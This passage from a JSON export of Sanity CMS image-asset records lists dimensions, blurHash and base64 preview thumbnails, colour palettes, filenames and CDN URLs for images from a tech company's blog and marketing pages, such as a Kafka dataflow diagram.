friends).","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACpUlEQVQokX2P7UtTURzH7z/U+6CgwtcRhRlo1AshI0WS1LRwNgmhNwbbLNLUhMW0pWIUbDOfn9iDM5+mzrmnu+3unnPvHu9JiMP9xp2GUNCLL9/zPZzf9/c5QlrKIxbPIhqXEEvIOI4ZnoVxTxQNVGVnrlU8Es3g+9wKvn6bwdZOGHFRxd6RhMOojCwpQwhHRKyub2BxyYt17yZW1zYqOXQQgyQXzwtJGZnjNNZml2GzvoGp24zRETuWloKYdAfhWg4hkcpDOI5m4N/Yxdp6EL7ANrz+rUo2FmVJ6bSQlqCGjpCZmMba+w+wDw2jt7cXfZ0muCyjcDkXsbB+iGSmAMGgEFMKEkmChGiIQkyrFTqDjKgMSiKF0qQdue4n2LVZ4J7+gncDA3jb3Arfw06Iw1MQD5KQaQmCQfA/EYUht+3DiaUZmrkekUkHZj0eDA0N4ePzHkTuP8bJi9coBLZAlTwEalCc6bzkLCtlKLKE4qodv/quo9j/CPvzLng8MxgcHITjVR+OGtqhNXchP7sCSosQyD9Ef8o0KHIKhagHbKkTxf5LCPTegnPQhvFPTlitVvS0tGL4Zh18De1Iz3krMwahTv6WynSqlPWcGNS1XYv+09uih95X6T11F/T6uhrdYrXqNptNr625o9+4eFm3tXXp4eC+TlWmC1TKQRIJRJEiky2cf10pIyf+QHmvH9qmCX7nAzTdq8K1q1fQ2NgEk8mE6urbqK29C8fYBOJJuTIn0JTM05Ekjx6nuJhWuUzLnKqME0XjiizxfHyZF8OfeTQ4xR32Ed7a1sGbmpr5045n3Gx+ycfGp/hBOFF5b0igcoHJUo5lpDzLkhIjisaoyhhRGaPGmeYZJZQRkmOJpMz8gR3mcs8zt2eBBYJ7LCnS0xmFVfw3yyXkZAhIveQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d4040","foreground":"#fff","population":0.55,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#163065","foreground":"#fff","population":0.44,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa6412","foreground":"#fff","population":1.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cabca2","foreground":"#000","population":0.87,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c9c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5b77a6","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa6412","foreground":"#fff","population":1.27,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Solving_problems_with_event_streaming_blog.png","path":"images/sczeoy4w/production/a5d16a4deb05da1675ab3bfa60b8d7216bdac36c-1567x844.png","sha1hash":"a5d16a4deb05da1675ab3bfa60b8d7216bdac36c","size":267285,"title":"Solving problems with event streaming","uploadId":"vNxgn5po2KTdlqzPGT4vVe4zT1WUmIrK","url":"https://cdn.sanity.io/images/sczeoy4w/production/a5d16a4deb05da1675ab3bfa60b8d7216bdac36c-1567x844.png"} {"_createdAt":"2022-12-12T13:58:24Z","_id":"image-9d824621b37aa6002de37822f5ab31cae6cb57fe-1667x1146-png","_rev":"cwf6PSmkIH3MXtFHzMaAyh","_type":"sanity.imageAsset","_updatedAt":"2022-12-12T13:58:24Z","assetId":"9d824621b37aa6002de37822f5ab31cae6cb57fe","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V9Iz#VHq00030200IoK*YR-=0K.T^P:k]j3r-VDO=FMd","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4546247818499127,"height":1146,"width":1667},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAABcRAAAXEQHKJvM/AAAET0lEQVQ4jT2Re0yTdxSGTwsILRCisFo3GIg6IyYD2eYQBJ06N1jGMliAyFK3EQQqDLRFLkoQAp3cBAtxawE7LgX5PgIMSpEN0pbWr5Q6YBEpl3HpuEwcMC7lJu33W0Czkzw5/z15z3kBXg+q3AtoZz9kALpNBzLHBsiP3wF0dT/oQ50AnD0oJzw9aae8vGz8/M5Y+JwLhbvXPaE72h7IG7ALStoxuV0BOBYJ/9Y5AlJZwBbGBFLKNEOtB8y3MxlWKPJNh/VwZ1dhgPuHgR/5snx8fK56eHh4H3F1ob+KEgko5ZXstTASHD0vAeqzg6S2rwC1HaCamph0snCfk4mz7wK6wuQufe18vy74g4aYsOD+L4OCdN6nvApOHHVxm022t1hLoZvNxVtSjLfosJX5Fuymg8NxMJXLACp8C1sPGWaowNoR3bRmkfF2DSiKMTIbfnD2QajvUnJstCmGzTZ9ev689tyxwyz8IpOBMixoy9fACnHBDHH/PzkKMoLeA7C9Q6n/ztVmLdEywMSx+oWMs51GUW8QfSEH8aRAv/7r38ducrhcFOzvv/CNu6eo8YzfSXTLgz7HBSvTDZoFmWwOQD0etVMFxPifpoBjunlHhOOhhQQabz2BNrEZa6t8yd4fIQw5GRAS+NmD6KioeQ6Hg9isy6bCyxFDmow7iTOtj5xVvQRtWCHb80yrpQAwwgDdBrjg/QkcdztLnYnb8/7qNYt6Q7yVfoFtmzOaE+auUD7+XCAQ1GdkZCxkZWWR9+/dQ23i2o3e3zplfZonod3D/zCf/IWstWPrVFheXgFTIgCKBdiuDDUzpdn6GpOtft1OpI+schkJ40Tb2YlJ/Y+PVcrZsrKy7fLyclIqlZIqpRJ1q9XPu7s12erfnx3STiNL7dALKiwuLsJL4UVA9gBL0yN2a48ywzd/DunZFH4xvVqfLNDr+rOGhof/UCq7SJFIhCoqKkhpm5Rsb29Hcrl8lSCIUpWKOPqTGoFa208BDMOgEauhOL3tAn/PTLvMjT394cVT2excX/vm7GCPfmx0+E+tVruCYRiZl5dHFhUVkTU1NWRzczPqUijWCYKokclk7yKEYMOwBFBVVQUsFgtwHIf5+Xnm1NRUln5ycm5iYgKNj4+To6OjpEwm25VxOBySx+ORYrF4N6FCoVjv7OyslUgkHhWVVRS5XE7ZEe7l8/kO6enpDmKx+Ehvb2/K4ODgpE6nQzqdjhwYGEASiQSlpKQgNpuNcnNzUV1dHdnU1IQwDFsXi8USHMcvSaVSH6lUehqqq6sT+Hx+Yk5Ozs3CwkJeQ0NDI0EQz3t6eowajcaoVquNOI4bU1NTjXFxccbs7GyjQCDYpbi4eEMoFI7hON7Z0tIiaWlpad0RDpeUlIzl5+fr+Xz+DIZh8yqVakWj0Ri6uroMHR0dhtraWgOPxzOkpaUZCgoKDAKBwFBaWmoQCoWrIpFo57/LjY2Nu/wHFVVWkrEfKWkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344745","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#581a0e","foreground":"#fff","population":0.27,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f96d0f","foreground":"#fff","population":5.82,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9c9bb","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec4c74","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac9668","foreground":"#000","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f96d0f","foreground":"#fff","population":5.82,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"open-source-inline2.png","path":"images/sczeoy4w/production/9d824621b37aa6002de37822f5ab31cae6cb57fe-1667x1146.png","sha1hash":"9d824621b37aa6002de37822f5ab31cae6cb57fe","size":718827,"uploadId":"TzBbdEknGRECpm0OP3expSlfaiVtM3KX","url":"https://cdn.sanity.io/images/sczeoy4w/production/9d824621b37aa6002de37822f5ab31cae6cb57fe-1667x1146.png"} {"_createdAt":"2022-06-30T20:09:54Z","_id":"image-6590864be40e6eb9d2eee93c7d928bf43ef31f8b-2500x2188-png","_rev":"cEPH2uRN58AU2lp9QO8BmT","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:27:26Z","assetId":"6590864be40e6eb9d2eee93c7d928bf43ef31f8b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e9JaAz={009c00$jVXg4J-A?00}s~q%FyXDib^ITOXK500rr^-wO?I","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1425959780621573,"height":2188,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAABcRAAAXEQHKJvM/AAAFB0lEQVQ4jU2Ue2xTdRTHz90osOECjAV5KmyQQQaTDcFAWOJY58aAIbAxVBQYsg0hooRHQNBEUIMzxi1qNJMFoiMhSogo/MG6rre9jz7Xe2/b2/f6uu22vrt2m0PanynE6ElOzjfnJOd8/zkfyBxdBpkjy+FJewlkDq3Jyxwsm5s+UCkChMBCEcAYo6DxIND+LzXu/6om23P/mxkAdHwhoLYFgE4UiNChF9eh5jVitLtyKYIusPQj6EMIzHEE9gkElgQCPorAFEVgTT7ThiACbgwBM4pgyI8AMh1FkD49F9Jn5uWnW4tr0wfL29ONVevjb9/OIRDCLBovxvkzwI4gYAMIYwWEcb5MVgPjRxgjIIz1PgbeMQKfIQQw3VEISAxgvd87393z+U5v1xdtjt47VTQbK1WYky+RllSp0v7XIsKcLJabEhUEn1xH26deoKyTK4ns3DpRrnJOL9V50iKlZRIAf/UyGG+zQOr9iwmdr4nU+k5SbGg/YYo3KYyxDoJPNNOW8c0KY7QR5yKnFKZYK21Nikk+sVNhineQ5vE2pS21TWeJFLyfdagt+gQ0W2PA86ZC3jZca3a43zTYvFUqTtjEmD177A5nk8Nu26xiPRs1jLfBzDnfsHN2sY71bFIb/TW83dPsHraJQ1bFQnQFMDDu6cm1rD4vmtA9WJIS6OPJgPp6KqCuDTrpRQm/Zk8yoO5MBdSHgjZqaVhLvxIfUn4aH1KeDWmo0qhXXZIMaE6nAqqrU4J8Cxq8kAuD9d8VklVfFY/0/bo+JdAXE4LydsRNtQwbpMtDLrI15qV/i3josy52cKWfxMUhNXErpCa7vIRsg2DBy6Je+npCUN6cFIg6pLw+A+7u6lr0Z21nOXv5h1VJD7Fl1EkcsDGSehszsN1pkLZ4eNkxh26gyYZLaqwDkoZhXHrYhUsP26WSBrP8UbWLG9wX81C7pr3SFVO/NOdAd8uX+T37rxU+bD//nKu/Zxan7n9esCoOhFzU92NO8kPbkLTcQ8heD6rIb8eUxAW7TFrhUch2BFVEd1BFXHGTg2U+/b3Z6OG7MybPzcQA7rZB663lmLurLLdnPmAu7e9zEgK9N+Gjb8Z99JmonSiOacgdcS11I66jLkU1xOqYhqiOa6kfEzr6alJHlUwgBH+fgJzMR/kYZAMBQKz3WK6WoOZr2eFVTqdNHHBz7wRcTI3JZF1rY6zVAsMdDeiZOrPeXGplrFU+xtA6yjANUS2+AF2EnCdXl+RmLs7A4A91BB5m34vGRUrD6FrCGH6LNEVOqczRgxpLZBtpDO8lDOFTtCnSqjFHqyljuI4whNspY/g9NR+pZln7XLQTsKlrK3LSl2Y9c4eQDgv6+TlKo3+VnBl7jWSDzQQbrJGx4XUyLrJVxkZ24cb4dso6UUbwiQoZF6nHDbF6wpwsU1vH87Mg8fZ2QKqzMrsMwZMxdW5cUM/Ta+VFUgldxCuZZbSUWnzj5wcFfQ/0+RLdWL7cGMujbVMiOZ+aKWUieTgXzSMtKRHtQ9jIT0cArc6CBgASDRtm39lXV9B9+YN53V9/nHe/81JuSnZPpO3rER3e3ZiTPTjAxUHCRICwPwaZKQWPdEGQ6MOA85Og8CMIfSMG1AKATgLA+O7KJTeqXi5prKxcVlqxcc659tOYgBDcxR1PeYcbYtCvGwUpEwbSMgG4MQ4S3SgM6IMgN42D0jENA0NB6NeOPGXkP046QBchYeGbAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a4550","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#560b18","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f24f2d","foreground":"#fff","population":0.4,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acc4d6","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ea88ce","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#737885","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f24f2d","foreground":"#fff","population":0.4,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"6590864be40e6eb9d2eee93c7d928bf43ef31f8b-2500x2188.png","path":"images/sczeoy4w/production/6590864be40e6eb9d2eee93c7d928bf43ef31f8b-2500x2188.png","sha1hash":"6590864be40e6eb9d2eee93c7d928bf43ef31f8b","size":137114,"uploadId":"AatSFKfQDu5xQKuhWBCOl3wQgMYG954O","url":"https://cdn.sanity.io/images/sczeoy4w/production/6590864be40e6eb9d2eee93c7d928bf43ef31f8b-2500x2188.png"} {"_createdAt":"2024-01-31T11:02:06Z","_id":"image-bc5bfe2c6e53e73d5c53201eabec5ea67883cc29-2806x1607-png","_rev":"ZLvKaZvfbZlWBlGcpN95Zj","_type":"sanity.imageAsset","_updatedAt":"2024-01-31T11:02:06Z","assetId":"bc5bfe2c6e53e73d5c53201eabec5ea67883cc29","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MMOWy?xu9EjcE1NFofMxkCj]?wWV-=s.xu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.746110765401369,"height":1607,"width":2806},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAADF0lEQVQokTWSO4/cVACFLfGSQBEFoucH8EgBSLRI9BRpaGmgoEAoBQFFAhEJKQoVKXglSwRStIEIbUiymd1kN6uJMtnsjMfXHntmbM+99n3Yvh7Pw/b1vOwZR7OE4tNXnHO6I7GwIIQvR5ivEsJX8do4WCVrt3txUn3UTWp1mGjdKOnAJIFscZw97aX/Q/gyZmERSiwsLkM6/1sxhvdrDf+orvarNp7uEr6sWY4AdZUCueUBwxqBLkoAIlOA2eIRCYrbmC//wnx5bQ3hy00WFlclL5y/Ua2hDzb+rF64+PPu/q+/7//xuOF+Q4P5ddMRABgDtdnqq009UlUjUk0QqEj1bxIUf0rD/B3szd/E/uItEixOMj4/Kf1mlVLlrvLarR1w9sYdZf/WncYvmmJ9Tlm6acLEAO2hIeuRLusDHWh9vXOE2/AQ/ks7/oeDxeoEL8vnw7J8oZ/Gz5yXJEny0/JZBMfvmWrwg6l4W3bbP0d77seMRD85ONmDONuFjqisQW624/SG94jFL3k0PkVR+r57FHxElfCUj8XrXpw/J/lZ+SKy00/M+/ixtW1brswuBQ75gpHhlsNmCKEpRA+9nntAetgSPcdbIMwmFS8QX0K1/6O5bTfhnvuQ2slnLM5flgJRnrAt8ZV2QEO1ApeW7FU81z9HSHJo4kWpq0mpXtVLfUMuu0dR2XHysodnHULjiybgN0EFLowDEjt2+j0b5a9KXpS/ZDvZaaAOUFMOk645+sf30zM0mO1ZeJ6p2nja2O5NmlvdSUuOJh00myI6V1gwudC1xpuyHA5UNfKgm33LePaKxPj8bdebfW25WdV0RBOx6RXGZ2epP7mOcNrq9mJNbw+BbgxA2xoD20laGCc7HhXnHTq5bDqibuOshv3Zd4zP3pVYmG8QXlRwUDRwUCjYzx/YeHq3Y48P2+ZQM6wxMOxY0e0Y6FYM2t2hZta9Bjr09jHMHuCgaOKgkCkvdr1+fmV9bLZ+OQ5WAvOVcPxCdGAmFGMk5NbgP/ThsRutgWiCSGj3HGFuQ+F00uPNekv4MmVhMX4CurDdpvBFlQQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#452e23","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2054","foreground":"#fff","population":0.78,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dce6fb","foreground":"#000","population":6.97,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3bbd4","foreground":"#000","population":1.76,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dce6fb","foreground":"#000","population":6.97,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#994c79","foreground":"#fff","population":3.6,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d28dbd","foreground":"#000","population":0.88,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-apache-kafka-dataflow.png","path":"images/sczeoy4w/production/bc5bfe2c6e53e73d5c53201eabec5ea67883cc29-2806x1607.png","sha1hash":"bc5bfe2c6e53e73d5c53201eabec5ea67883cc29","size":601027,"uploadId":"ymsXbGB7IsPyMpsTZOoVxLAg84TBJdKQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/bc5bfe2c6e53e73d5c53201eabec5ea67883cc29-2806x1607.png"} {"_createdAt":"2023-01-19T13:43:47Z","_id":"image-0ecde466b48dd7c5f1eec6c81202076315eb0250-2250x2250-png","_rev":"TE2o7iA1WIUKtaPRd4mJQ0","_type":"sanity.imageAsset","_updatedAt":"2023-01-19T13:43:47Z","assetId":"0ecde466b48dd7c5f1eec6c81202076315eb0250","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2250,"width":2250},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#323357","foreground":"#fff","population":0.59,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131370","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f9b61a","foreground":"#000","population":2.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9498cc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4d444","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#666b91","foreground":"#fff","population":0.73,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9b61a","foreground":"#000","population":2.31,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"How-a-cloud-data-platform-can-drive-transformation-in-your-business_ebook_banner_image.png","path":"images/sczeoy4w/production/0ecde466b48dd7c5f1eec6c81202076315eb0250-2250x2250.png","sha1hash":"0ecde466b48dd7c5f1eec6c81202076315eb0250","size":787854,"uploadId":"uTqa2VCL8wzwC7duZqpL2u6BJAu3iatz","url":"https://cdn.sanity.io/images/sczeoy4w/production/0ecde466b48dd7c5f1eec6c81202076315eb0250-2250x2250.png"} {"_createdAt":"2022-06-30T19:57:49Z","_id":"image-cabc163e1444f6ec699048466e08172471a93e35-2892x2178-png","_rev":"cEPH2uRN58AU2lp9QO7lN3","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:18:45Z","assetId":"cabc163e1444f6ec699048466e08172471a93e35","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V4S$lnt7~W~X-p%MIAM{w1n%xaaeDOofn4_3a0RPiwof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3278236914600552,"height":2178,"width":2892},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAAByUlEQVQ4jX2U8dKbIBDEff+H6399gzTT5DMioHCAsJ09Qmqats6sgMqPvTtw2q4XmNsNZjEw1sPvEVEEUgT5yDjqgVorWmsf4vNaK0opSCkh54wpXi6Q+w2787gZj8vtgev8Ez/8FXN8IOSIchQcz8lDx1EVIJIUJjQhgqnMM6pzKCnB7YJ5sfhaZty3O0xcsUuApISUM3IpXbm3HZT6u5y1nUqIqLl067lg33ds24YQA2KMiCFAQtCW4+6oAxjqcfSU1MoUNEx8oQ9b04+cc3DWKdRZC2dWeLNqyzEXlBiRRHDkrLk8XxNt9lWahmCtVRFslkW1GgO7rvDOKVBd70HT1J5AbVvDRNujinRIZ0MDzD5B4Rl2B+4oktDqbyA1sXpjQIcEeO97yE+YQoYI9RvEexSRT+B5XxFojFFthHrfQ3wDxg50n0Beb0CGT0d0GN4qK4ix7zNh+8phfsuhOjwPWBy6HLueMDo865XHGPWb9ifw7JBAuhhAAphHa13PLfdnCCrdPiJaUAXqHZ8OxxH6m0OOuViI8VUwzvlvyMMh+8zpWeNU8OiNsNUh50dBfZge8oBy0nAxJv/rLzN+FvqM/a8F5dt3/AKVAJSbvWRsoQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#282c2f","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1f537b","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#282c2f","foreground":"#fff","population":0.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#94c0a4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc749c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9d606d","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7245f","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"cabc163e1444f6ec699048466e08172471a93e35-2892x2178.png","path":"images/sczeoy4w/production/cabc163e1444f6ec699048466e08172471a93e35-2892x2178.png","sha1hash":"cabc163e1444f6ec699048466e08172471a93e35","size":455720,"uploadId":"pv5r0MgfmoS6Ftd3YMMqQBTigrgCW89V","url":"https://cdn.sanity.io/images/sczeoy4w/production/cabc163e1444f6ec699048466e08172471a93e35-2892x2178.png"} {"_createdAt":"2022-06-30T20:11:13Z","_id":"image-d1cbaa8cc42e32ce5d676ecd684e0024bda68c88-1494x796-png","_rev":"QRl2cGoCgj0FlAhkRriTRz","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:05Z","assetId":"d1cbaa8cc42e32ce5d676ecd684e0024bda68c88","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDRMi2~U~RE8E501M|oIf6WCDgE29c-mxr","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8768844221105527,"height":796,"width":1494},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAAByUlEQVQokY2SDU/TQByH+/2/yzbYVsQZwUiCUUCQl5C2DNY5xga4dr3XXjsecyWCYohe8uTX5C6/e5r7Bx8Ha4QbLdprbdrtTkOn06Hb7bGx+Y7e5jatcIv1cEA/fMN6N2zw3/1ws8lef+OJYDoZc3ERE0URURQTxzFJkpCmKd+nc46Gd+yczTiOUpJkSJwMuRqNmVzPuJ7OmxylE66uxqTjCYG1FikVSimMMU845yhdzTSvOL82XE4LJjd5w82t4EemEdKitGuyEAapLMFqteIXDw8Pf1DVK24zx36s2ToSbB+JJj98E5xeCu4zhVAlS1lSyBKpHQGvLF9Y1yvmWcXuuaX3xdDfM02G+4bDC8N9ZiikJRO+1KF0RfDS6nd84V3u2Is0g6+SwYHg7YHg/aHkZCiY3wuyXJELi1AOZaq/DR/Lng1ni4qdM0v7k6G1q2ntGrqfDQeJ5m6hyQvNorD/b5jLmuFNxWn6yPHIcTKypDPLUpRI5Sike93w2ZSm0Niqudkf9i9aCM0iK1gsliwLhdIl2lRP/NPQH/Kv59MYh1J+RBTLQiKkQRu/55CqRKmSoK5rXsO5uikr/O/oZ4uXNLMo/FwafgJlnzsHu90bjgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5d6a35","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#974a3f","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0b81f1","foreground":"#fff","population":0.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#accccc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#74c4fc","foreground":"#000","population":0,"title":"#